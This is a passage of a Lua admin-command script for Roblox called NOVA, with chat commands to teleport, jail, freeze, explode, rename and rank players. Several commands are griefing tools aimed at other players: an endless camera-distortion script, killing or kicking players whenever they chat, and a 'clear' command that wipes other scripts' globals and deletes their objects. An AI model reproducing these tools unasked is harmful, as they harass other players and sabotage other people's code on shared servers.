  2430. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2431. end
  2432. )
  2433.  
  2434. Output("Turn PRI Off",NOVA.Colors.Green,Speaker,nil,
  2435. function()
  2436. NOVA.PRI = false
  2437. RemoveTablets(Speaker)
  2438. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2439. end
  2440. )
  2441.  
  2442. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2443. end
  2444. )
  2445.  
  2446. --[[ GET COMMANDS ]]--
  2447.  
  2448. AddCommand("Get Ranked","getranked",0,"Displays all the current players ranks.","No Arguments",
  2449. function(Msg,Speaker)
  2450. if #Msg == 0 or Msg == nil then
  2451. RemoveTablets(Speaker)
  2452. for _,v in pairs(NOVA.Ranks) do
  2453. local RankNumber = v[1]
  2454. local RankName = v[2]
  2455. Output(RankName.." ("..(RankNumber)..")",Color3.new((RankNumber)/10,(RankNumber)/10,(RankNumber)/10),Speaker,nil,
  2456. function()
  2457. RemoveTablets(Speaker)
  2458. for _,v in pairs(GetPlayersRaw()) do
  2459. if GetRank(v) == RankNumber then
  2460. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2461. function()
  2462. PlayerInterface(v,Speaker)
  2463. end
  2464. )
  2465. end
  2466. end
  2467. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2468. function()
  2469. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2470. end
  2471. )
  2472. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2473. end
  2474. )
  2475. end
  2476. Output("ALL",NOVA.Colors.Blue,Speaker,nil,
  2477. function()
  2478. RemoveTablets(Speaker)
  2479.  
  2480. for _,v in pairs(GetPlayersRaw()) do
  2481. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,GetRankedTable(v).Color,Speaker,nil,
  2482. function()
  2483. PlayerInterface(v,Speaker)
  2484. end
  2485. )
  2486. end
  2487.  
  2488. Output("Done",NOVA.Colors.Blue,Speaker,nil,
  2489. function()
  2490. OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  2491. end
  2492. )
  2493. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2494. end
  2495. )
  2496. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2497. else
  2498. PlayerInterface(GetPlayers(Msg,Speaker)[1],Speaker)
  2499. end
  2500. end
  2501. )
  2502.  
  2503. AddCommand("Set Description","setdesc",6,"Sets the selected player's description.","<Player><Description>",
  2504. function(Msg,Speaker)
  2505. Split = GetSplit(Msg)
  2506. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2507. GetRankedTable(v).Desc = Msg:sub(Split+1)
  2508. SyncRankOutSingular(v)
  2509. end
  2510. end
  2511. )
  2512.  
  2513. AddCommand("Get CMD","getcmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2514. function(Msg,Speaker)
  2515. if Msg == "true" then
  2516. GetRankedTable(Speaker).CMD = true
  2517. elseif Msg == "false" then
  2518. GetRankedTable(Speaker).CMD = false
  2519. pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2520. else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2521. end
  2522. SyncRankOutSingular(Speaker)
  2523. end
  2524. )
  2525.  
  2526. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  2527. function(Msg,Speaker)
  2528. pcall(function()
  2529. for i=1,4 do
  2530. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2531. end
  2532. end)
  2533. end
  2534. )
  2535.  
  2536. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  2537. function(Msg,Speaker)
  2538. pcall(function()
  2539. Speaker:LoadCharacter()
  2540. end)
  2541. end
  2542. )
  2543.  
  2544. AddCommand("Get Fixed Character Appearance","get/fixchar",0,"Fixes the Speaker's character appearance.","No Arguments",
  2545. function(Msg,Speaker)
  2546. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  2547. end
  2548. )
  2549.  
  2550. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  2551. function(Msg,Speaker)
  2552. pcall(function()
  2553. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2554. for i=1,4 do
  2555. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  2556. end
  2557. end
  2558. end)
  2559. end
  2560. )
  2561.  
  2562. AddCommand("Set Rank","setrank",0,"Allows you to change the rank of others.","<Player><Rank>",
  2563. function(Msg,Speaker)
  2564. local Split = GetSplit(Msg)
  2565. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2566. if GetRank(Speaker) > GetRank(v) then
  2567. if tonumber(Msg:sub(Split+1)) > GetRank(Speaker) then
  2568. Output("You cannot set a rank that high.",NOVA.Colors.Orange,Speaker,5)
  2569. else
  2570. GetRankedTable(v).Rank = tonumber(Msg:sub(Split+1))
  2571. SyncRankOutSingular(v)
  2572. end
  2573. end
  2574. end
  2575. end
  2576. )
  2577.  
  2578. AddCommand("Teleport","tp",2,"Teleports one player to another.","<Player><Player>",
  2579. function(Msg,Speaker)
  2580.  
  2581. Split = GetSplit(Msg)
  2582. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2583. to = GetPlayers(string.sub(Msg,Split+1),Speaker)
  2584. for _,a in pairs(send) do
  2585. for _,b in pairs(to) do
  2586. pcall(function()
  2587. a.Character.Torso.CFrame = b.Character.Torso.CFrame
  2588. end)
  2589. end
  2590. end
  2591.  
  2592. end
  2593. )
  2594.  
  2595. AddCommand("Circle Teleport","ctp",2,"Teleports one player to another.","<Player><Player>",
  2596. function(Msg,Speaker)
  2597.  
  2598. Split = GetSplit(Msg)
  2599. send = GetPlayers(string.sub(Msg,1,Split - 1),Speaker)
  2600. to = GetPlayers(string.sub(Msg,Split+1),Speaker)[1]
  2601. for i, player in pairs(send) do
  2602. pcall(function()
  2603. player.Character.Torso.CFrame = CFrame.new(to.Character.Torso.Position)
  2604. * CFrame.Angles(0, math.rad(i * 360 / #send), 0)
  2605. * CFrame.new(0, 0, 3 + (#send*2) )
  2606. end)
  2607. end
  2608. end
  2609. )
  2610.  
  2611. AddCommand("Walkspeed","ws",2,"Sets the selected player walkspeed to the following number.","<Player><Number>",
  2612. function(Msg,Speaker)
  2613. Split = GetSplit(Msg)
  2614. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2615. pcall(function() v.Character.Humanoid.WalkSpeed = tonumber(Msg:sub(Split+1)) end)
  2616. end
  2617. end
  2618. )
  2619.  
  2620. AddCommand("Explode","expl",2,"Explodes the selected player.","<Player>",
  2621. function(Msg,Speaker)
  2622. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2623. pcall(function()
  2624. v.Character:BreakJoints()
  2625. E = Instance.new("Explosion",NOVA.Services.Workspace)
  2626. E.Position = v.Character.Torso.Position
  2627. E.BlastPressure = 124000
  2628. end)
  2629. end
  2630. end
  2631. )
  2632.  
  2633. AddCommand("Infinite Health","inf",2,"Sets the selected player health to math.huge.","<Player>",
  2634. function(Msg,Speaker)
  2635. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2636. pcall(function()
  2637. v.Character.Humanoid.MaxHealth = math.huge
  2638. end)
  2639. end
  2640. end
  2641. )
  2642.  
  2643. AddCommand("God","god",2,"makes the selected player god.","<Player>",
  2644. function(Msg,Speaker)
  2645. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2646. pcall(function()
  2647. v.Character.Torso.Touched:connect(function(part)
  2648. if not part:IsDescendantOf(v.Character) and not part.Anchored == true and part ~= Crown then
  2649. part.CanCollide = true
  2650. part:BreakJoints()
  2651. for i=1,3 do Instance.new("Fire",part).Color = Color3.new(255,255,255) end
  2652. end
  2653. end)
  2654. end)
  2655. end
  2656. end
  2657. )
  2658.  
  2659. AddCommand("Punish","punish",2,"Reparents the selected player's character parent lighting.","<Player>",
  2660. function(Msg,Speaker)
  2661. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2662. pcall(function()
  2663. v.Character.Parent = NOVA.Services.Lighting
  2664. end)
  2665. end
  2666. end
  2667. )
  2668.  
  2669. AddCommand("Un Punish","unpunish",2,"Reparents the selected player's character parent workspace.","<Player>",
  2670. function(Msg,Speaker)
  2671. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2672. pcall(function()
  2673. v.Character.Parent = NOVA.Services.Workspace
  2674. v.Character:MakeJoints()
  2675. pcall(function() v.Character.Animate.Disabled = false end)
  2676. end)
  2677. end
  2678. end
  2679. )
  2680.  
  2681. AddCommand("Freeze","freeze",2,"Anchor the selected player('s/s') character('s).","<Player>",
  2682. function(Msg,Speaker)
  2683. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2684. pcall(function()
  2685. for _,part in pairs(v.Character:GetChildren()) do
  2686. pcall(function()
  2687. part.Anchored = true
  2688. end)
  2689. end
  2690. end)
  2691. end
  2692. end
  2693. )
  2694.  
  2695. AddCommand("Thaw","thaw",2,"Un anchor the selected player('s/s') character('s).","<Player>",
  2696. function(Msg,Speaker)
  2697. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2698. pcall(function()
  2699. for _,part in pairs(v.Character:GetChildren()) do
  2700. pcall(function()
  2701. part.Anchored = false
  2702. end)
  2703. end
  2704. end)
  2705. end
  2706. end
  2707. )
  2708.  
  2709. AddCommand("Remove Tools","rtools",2,"Removes the selected player tools.","<Player>",
  2710. function(Msg,Speaker)
  2711. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2712. pcall(function()
  2713. for _,part in pairs(v.Backpack:GetChildren()) do
  2714. part:Destroy()
  2715. end
  2716. end)
  2717. end
  2718. end
  2719. )
  2720.  
  2721. AddCommand("Remove Backpack","rbp",2,"Removes the selected player backpack.","<Player>",
  2722. function(Msg,Speaker)
  2723. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2724. pcall(function()
  2725. v.Backpack:Destroy()
  2726. end)
  2727. end
  2728. end
  2729. )
  2730.  
  2731. AddCommand("Sit","sit",2,"Makes the selected player sit down.","<Player>",
  2732. function(Msg,Speaker)
  2733. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2734. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2735. pcall(function() v.Character.Humanoid.Sit = true end)
  2736. end
  2737. end
  2738. )
  2739.  
  2740. AddCommand("Stand","stand",2,"Makes the selected player stand up.","<Player>",
  2741. function(Msg,Speaker)
  2742. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2743. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2744. pcall(function() v.Character.Humanoid.Sit = false end)
  2745. end
  2746. end
  2747. )
  2748.  
  2749. AddCommand("Jump","jump",2,"Makes the selected player jump.","<Player>",
  2750. function(Msg,Speaker)
  2751. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2752. pcall(function() GetRecursiveChildren(v.Character,"Humanoid",3)[1].Name = "Humanoid" end)
  2753. pcall(function() v.Character.Humanoid.Jump = true end)
  2754. end
  2755. end
  2756. )
  2757.  
  2758. AddCommand("Control","control",2,"Controls the selected player","<Player>",
  2759. function(Msg,Speaker)
  2760. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2761. pcall(function()
  2762. Speaker.Character = v.Character
  2763. end)
  2764. end
  2765. end
  2766. )
  2767.  
  2768. AddCommand("Transparent","trans",2,"Makes the selected player transparent","<Player>",
  2769. function(Msg,Speaker)
  2770. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2771. pcall(function()
  2772. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2773. coroutine.resume(coroutine.create(function()
  2774. for i=1,10 do
  2775. wait()
  2776. v.Transparency = v.Transparency + 0.1
  2777. end
  2778. end))
  2779. end
  2780. end)
  2781. end
  2782. end
  2783. )
  2784.  
  2785. AddCommand("Visible","visible",2,"Makes the selected player visible.","<Player>",
  2786. function(Msg,Speaker)
  2787. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2788. pcall(function()
  2789. for _,v in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  2790. coroutine.resume(coroutine.create(function()
  2791. for i=1,10 do
  2792. wait()
  2793. v.Transparency = v.Transparency - 0.1
  2794. end
  2795. end))
  2796. end
  2797. end)
  2798. end
  2799. end
  2800. )
  2801.  
  2802. AddCommand("Remove Hats","rhats",2,"Remove the hat of the selected player.","<Player>",
  2803. function(Msg,Speaker)
  2804. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2805. pcall(function()
  2806. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Hat") then part:Remove() end end
  2807. end)
  2808. end
  2809. end
  2810. )
  2811.  
  2812. AddCommand("Remove Humanoid","rhum",2,"Remove the humanoid of the selected player.","<Player>",
  2813. function(Msg,Speaker)
  2814. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2815. pcall(function()
  2816. for _,part in pairs(v.Character:GetChildren()) do if part:IsA("Humanoid") then part:Remove() end end
  2817. end)
  2818. end
  2819. end
  2820. )
  2821.  
  2822. AddCommand("Jail","jail",2,"Puts the selected player in jail.","<Player>",
  2823. function(Msg,Speaker)
  2824. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2825. pcall(function()
  2826. coroutine.resume(coroutine.create(function()
  2827. local MainCF = v.Character.Torso.CFrame
  2828. local Main = Instance.new("Model",workspace)
  2829. Main.Name = "Main"
  2830. table.insert(NOVA.Jails,{Jail = Main, Player = v,Speaker = Speaker})
  2831. for Pitch = 1, 360, 360 do
  2832. for Yaw = 1, 360, 360/13 do
  2833. for Angle = 1,180, 8 do
  2834. local Part = Instance.new("Part",Main)
  2835. Part.Name = "Part"
  2836. Part.FormFactor = "Custom"
  2837. Part.TopSurface = "Smooth"
  2838. Part.BottomSurface = "Smooth"
  2839. Part.Reflectance = 0
  2840. Part.Transparency = 0
  2841. Part.Anchored = true
  2842. Part.Locked = true
  2843. Part.CanCollide = true
  2844. Part.BrickColor = BrickColor.new("Navy blue")
  2845. Part.Size = Vector3.new(2,1,4)
  2846. Part.CFrame = MainCF
  2847. * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
  2848. * CFrame.new(0,5,0)
  2849. local Mesh = Instance.new("BlockMesh",Part)
  2850. Mesh.Scale = Vector3.new(1,1,0.1)
  2851. if math.floor(Angle/5) == Angle/5 then
  2852. wait()
  2853. end
  2854. end
  2855. end
  2856. end
  2857.  
  2858. v.Character.Torso.CFrame = MainCF
  2859.  
  2860. while Main.Parent ~= nil do
  2861. wait()
  2862. pcall(function()
  2863. if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
  2864. v.Character.Torso.CFrame = MainCF
  2865. end
  2866. end)
  2867. end
  2868. end))
  2869. end)
  2870. end
  2871. end
  2872. )
  2873.  
  2874. AddCommand("Un Jail","unjail",2,"Un jails the selected player.","<Player>",
  2875. function(Msg,Speaker)
  2876. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2877. for Num,Jail in pairs(NOVA.Jails) do
  2878. if Jail.Player ~= nil and Jail.Player == v then
  2879. pcall(function() Jail.Jail:Destroy() end)
  2880. table.remove(NOVA.Jails,Num)
  2881. end
  2882. end
  2883. end
  2884. end
  2885. )
  2886.  
  2887. AddCommand("NOVA Clear","NOVA",6,"Clears the game.","No Arguments",
  2888. function(Msg,Speaker)
  2889. for i,v in pairs(_G) do
  2890. if type(v) == "function" and getfenv(v).NOVA == nil then
  2891. for var,val in pairs(getfenv(v)) do
  2892. pcall(function() getfenv(v)[var] = nil end)
  2893. end
  2894. end
  2895. end
  2896. for i,v in pairs(_G) do
  2897. _G[i] = nil
  2898. end
  2899. SetGlobals()
  2900. for _,v in pairs(NOVA.Services) do
  2901. v.Name = "Unknown Exception"
  2902. end
  2903. for i,v in pairs(GetRecursiveChildren()) do
  2904. pcall(function()
  2905. if not v:IsA("Player") then
  2906. pcall(function()
  2907. if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  2908. else
  2909. pcall(function()
  2910. v.Disabled = true
  2911. end)
  2912. pcall(function()
  2913. NOVA.Services.Debris:AddItem(v,0)
  2914. end)
  2915. end
  2916. end)
  2917. end
  2918. end)
  2919. end
  2920. for _,v in pairs(NOVA.Services) do
  2921. v.Name = v.className
  2922. end
  2923. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2924. Base.Name="Base"
  2925. Base.Size=Vector3.new(2048,1,2048)
  2926. Base.BrickColor=BrickColor.new("Bright green")
  2927. Base.Anchored=true
  2928. Base.Locked=true
  2929. Base.TopSurface="Smooth"
  2930. Base.Transparency = 1
  2931. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2932. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2933. Spawn.Size=Vector3.new(6,1,6)
  2934. Spawn.Transparency=1
  2935. Spawn.CanCollide=false
  2936. Spawn.Anchored=true
  2937. Spawn.Locked=true
  2938. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2939. for _,v in pairs(GetPlayersRaw()) do v:LoadCharacter() end
  2940. end
  2941. )
  2942.  
  2943. AddCommand("ChangeTeam","changeteam",3,"Change the current team of the selected player.","<Player><TeamName>",
  2944. function (Msg,Speaker)
  2945. Split = GetSplit(Msg)
  2946. for _,v in pairs(GetPlayers(string.sub(Msg,1,Split - 1),Speaker)) do
  2947. pcall(function()
  2948. Team = nil
  2949. for _,find in pairs(NOVA.Services.Teams:GetChildren()) do
  2950. if string.sub(find.Name:lower(),1,#string.sub(Msg,Split+1)) == string.lower(string.sub(Msg,Split+1)) then
  2951. Team = find
  2952. end
  2953. end
  2954. v.TeamColor = Team.TeamColor
  2955. end)
  2956. end
  2957. end
  2958. )
  2959.  
  2960. AddCommand("Teams Remove","rteam",6,"Part of teams commands.","No Arguments",
  2961. function(Msg,Speaker)
  2962. RemoveTablets(Speaker)
  2963. for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  2964. if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  2965. v:Remove()
  2966. end
  2967. end
  2968. end
  2969. )
  2970.  
  2971. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  2972. function(Msg,Speaker)
  2973. Split = GetSplit(Msg)
  2974. Team = Instance.new("Team",NOVA.Services.Teams)
  2975. Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  2976. Team.Name = Msg:sub(1,Split-1)
  2977. Team.AutoAssignable = false
  2978. Team.Neutral = false
  2979. end
  2980. )
  2981.  
  2982. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  2983. function(Msg,Speaker)
  2984. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2985. v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  2986. end
  2987. end
  2988. )
  2989.  
  2990. AddCommand("Hoverseat","hoverseat",7,"Gives that player a hoverseat","<Players>",
  2991. function(Msg,Speaker)
  2992. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2993.  
  2994. local ride = Instance.new("VehicleSeat", Workspace)
  2995. ride.Position = v.Character.Torso.Position
  2996. ride.HeadsUpDisplay = false
  2997. ride.Size = Vector3.new(3,3,3)
  2998. local bg = Instance.new("BodyGyro", ride)
  2999. bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3000. local bp = Instance.new("BodyPosition", ride)
  3001. bp.position = v.Character.Torso.Position
  3002. bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3003. Mesh = Instance.new("SpecialMesh")
  3004. Mesh.Parent = ride
  3005. Mesh.MeshType = Enum.MeshType.Sphere
  3006. ride.Transparency = 0.40000000596046
  3007.  
  3008. while wait() do
  3009. bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3010. bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3011. end
  3012.  
  3013. end
  3014. end
  3015. )
  3016.  
  3017.  
  3018.  
  3019. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3020. function(Msg,Speaker)
  3021. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3022. v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3023. end
  3024. end
  3025. )
  3026.  
  3027. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3028. function(Msg,Speaker)
  3029. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3030. if Prometheus ~= nil then
  3031. if v ~= Prometheus.script("lushmylife") then
  3032. pcall(function()
  3033. v:Destroy()
  3034. end)
  3035. end
  3036. else
  3037. pcall(function()
  3038. v:Destroy()
  3039. end)
  3040. end
  3041. end
  3042.  
  3043. local Base=Instance.new("Part",NOVA.Services.Workspace)
  3044. Base.Name="Base"
  3045. Base.Size=Vector3.new(2048,1,2048)
  3046. Base.BrickColor=BrickColor.new("Dark green")
  3047. Base.Anchored=true
  3048. Base.Locked=true
  3049. Base.TopSurface="Studs"
  3050. Base.Transparency = 0
  3051. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3052. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3053. Spawn.Size=Vector3.new(6,1,6)
  3054. Spawn.Transparency=1
  3055. Spawn.CanCollide=false
  3056. Spawn.Anchored=true
  3057. Spawn.Locked=true
  3058. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3059. for _,v in pairs(GetPlayersRaw()) do
  3060. v:LoadCharacter()
  3061. end
  3062.  
  3063. end
  3064. )
  3065.  
  3066. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3067. function(Msg,Speaker)
  3068. RemoveTablets(Speaker)
  3069. Explore(game,Speaker)
  3070. end
  3071. )
  3072.  
  3073. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3074. function(Msg,Speaker)
  3075. if NOVA.LockedScripts == true then
  3076. NOVA.LockedScripts = false
  3077. elseif NOVA.LockedScripts == false then
  3078. NOVA.LockedScripts = true
  3079. end
  3080.  
  3081. end
  3082. )
  3083.  
  3084. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3085. function(Msg,Speaker)
  3086. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3087. for i=1,25 do
  3088. coroutine.resume(coroutine.create(function()
  3089. wait()
  3090. local Part = Instance.new("Part",NOVA.Services.Workspace)
  3091. Part.FormFactor = "Custom"
  3092. Part.Transparency = 1
  3093. Part.CanCollide = false
  3094. Part.Anchored = false
  3095. Part.Locked = true
  3096. Part.Size = Vector3.new(1,1,1)
  3097. Part.CFrame = v.Character.Head.CFrame
  3098. Part:BreakJoints()
  3099.  
  3100. local BBG = Instance.new("BillboardGui",Part)
  3101. BBG.Adornee = Part
  3102. BBG.Size = UDim2.new(3,0,1,0)
  3103. --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3104.  
  3105. local Img = Instance.new("ImageLabel",BBG)
  3106. Img.Size = UDim2.new(1,0,1,0)
  3107. Img.BackgroundTransparency = 1
  3108. Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3109.  
  3110. local BP = Instance.new("BodyPosition",Part)
  3111. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3112. --BP.D = 2000
  3113. BP.P = 1000
  3114. BP.position = Part.Position + Vector3.new(
  3115. math.random(-7,7),
  3116. math.random(-7,7),
  3117. math.random(-7,7))
  3118.  
  3119. for v = 3,0,-0.1 do
  3120. wait(0.1)
  3121. BBG.Size = UDim2.new(v,0,v,0)
  3122. end
  3123. Part:Remove()
  3124. end))
  3125. end
  3126. end
  3127. end
  3128. )
  3129.  
  3130. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3131. function(Msg,Speaker)
  3132. NOVA.Canceled = true
  3133. end
  3134. )
  3135.  
  3136. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3137. function(Msg,Speaker)
  3138. Split = GetSplit(Msg)
  3139. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3140. pcall(function()
  3141. local OldHead = v.Character.Head
  3142. local Model = Instance.new("Model",v.Character.Head)
  3143. Model.Name = Msg:sub(Split+1)
  3144. local Head = OldHead:Clone()
  3145. Head.Parent = Model
  3146. Head.Transparency = 0
  3147. Head.Name = "Head"
  3148. Head.CanCollide = false
  3149. local Hum = Instance.new("Humanoid",Model)
  3150. Hum.MaxHealth = 0
  3151. local Weld = Instance.new("Weld",Head)
  3152. Weld.Part0 = Head
  3153. Weld.Part1 = OldHead
  3154. Weld.C0 = CFrame.new(0,0,0)
  3155. OldHead.Transparency = 1
  3156. end)
  3157. end
  3158. end
  3159. )
  3160.  
  3161. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3162. function(Msg,Speaker)
  3163. Split = GetSplit(Msg)
  3164. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3165. pcall(function()
  3166. local Char = v.Character
  3167. Char.Archivable = true
  3168. Char = Char:Clone()
  3169. Char.Name = Msg:sub(Split+1)
  3170. v.Character:Destroy()
  3171. Char.Parent = workspace
  3172. v.Character = Char
  3173. end)
  3174. end
  3175. end
  3176. )
  3177.  
  3178. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3179. function(Msg,Speaker)
  3180. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3181. CreateLocalScript([[
  3182. script.Parent = nil
  3183. LocalPlayer = game.Players.LocalPlayer
  3184. Camera = workspace.CurrentCamera
  3185. Camera.CameraType = "Scriptable"
  3186. for i=1,700 do
  3187. wait()
  3188. Camera = workspace.CurrentCamera
  3189. Camera.CameraType = "Scriptable"
  3190. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3191. Camera.CameraType = "Scriptable"
  3192. Camera:SetRoll(Camera:GetRoll()+0.01)
  3193. pcall(function()
  3194. LocalPlayer.Character.Head.Sound:Play()
  3195. end)
  3196. end
  3197. Camera:SetRoll(0)
  3198. Camera.CameraType = "Custom"
  3199. Camera.FieldOfView = 70
  3200. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3201. ]],v.Backpack)
  3202. end
  3203. end
  3204. )
  3205.  
  3206. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3207. function(Msg,Speaker)
  3208. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3209. CreateLocalScript([[
  3210. script.Parent = nil
  3211. LocalPlayer = game.Players.LocalPlayer
  3212. Camera = workspace.CurrentCamera
  3213. Camera.CameraType = "Scriptable"
  3214. for i=1,math.huge do
  3215. wait()
  3216. Camera = workspace.CurrentCamera
  3217. Camera.CameraType = "Scriptable"
  3218. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3219. Camera.CameraType = "Scriptable"
  3220. Camera:SetRoll(Camera:GetRoll()+0.01)
  3221. pcall(function()
  3222. LocalPlayer.Character.Head.Sound:Play()
  3223. end)
  3224. end
  3225. Camera:SetRoll(0)
  3226. Camera.CameraType = "Custom"
  3227. Camera.FieldOfView = 70
  3228. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3229. ]],v.Backpack)
  3230. end
  3231. end
  3232. )
  3233.  
  3234. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3235. function(Msg,Speaker)
  3236. for _,v in pairs(NOVA.Credit) do
  3237. Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3238. end
  3239. end
  3240. )
  3241.  
  3242. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3243. function(Msg,Speaker)
  3244. pcall(function()
  3245. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3246. Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3247. Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3248. end)
  3249. end
  3250. )
  3251.  
  3252. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3253. function(Msg,Speaker)
  3254. NOVA.Services.Lighting.TimeOfDay = Msg
  3255. end
  3256. )
  3257.  
  3258. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3259. function(Msg,Speaker)
  3260. NOVA.Services.Lighting.FogEnd = Msg
  3261. end
  3262. )
  3263.  
  3264. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3265. function(Msg,Speaker)
  3266. NOVA.Services.Lighting.FogStart = Msg
  3267. end
  3268. )
  3269.  
  3270. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3271. function(Msg,Speaker)
  3272. if Msg == "red" then Color = NOVA.Colors.Red
  3273. elseif Msg == "black" then Color = NOVA.Colors.Black
  3274. elseif Msg == "white" then Color = NOVA.Colors.White
  3275. elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3276. elseif Msg == "green" then Color = NOVA.Colors.Green
  3277. elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3278. end
  3279. NOVA.Services.Lighting.FogColor = Color
  3280. end
  3281. )
  3282. --deride
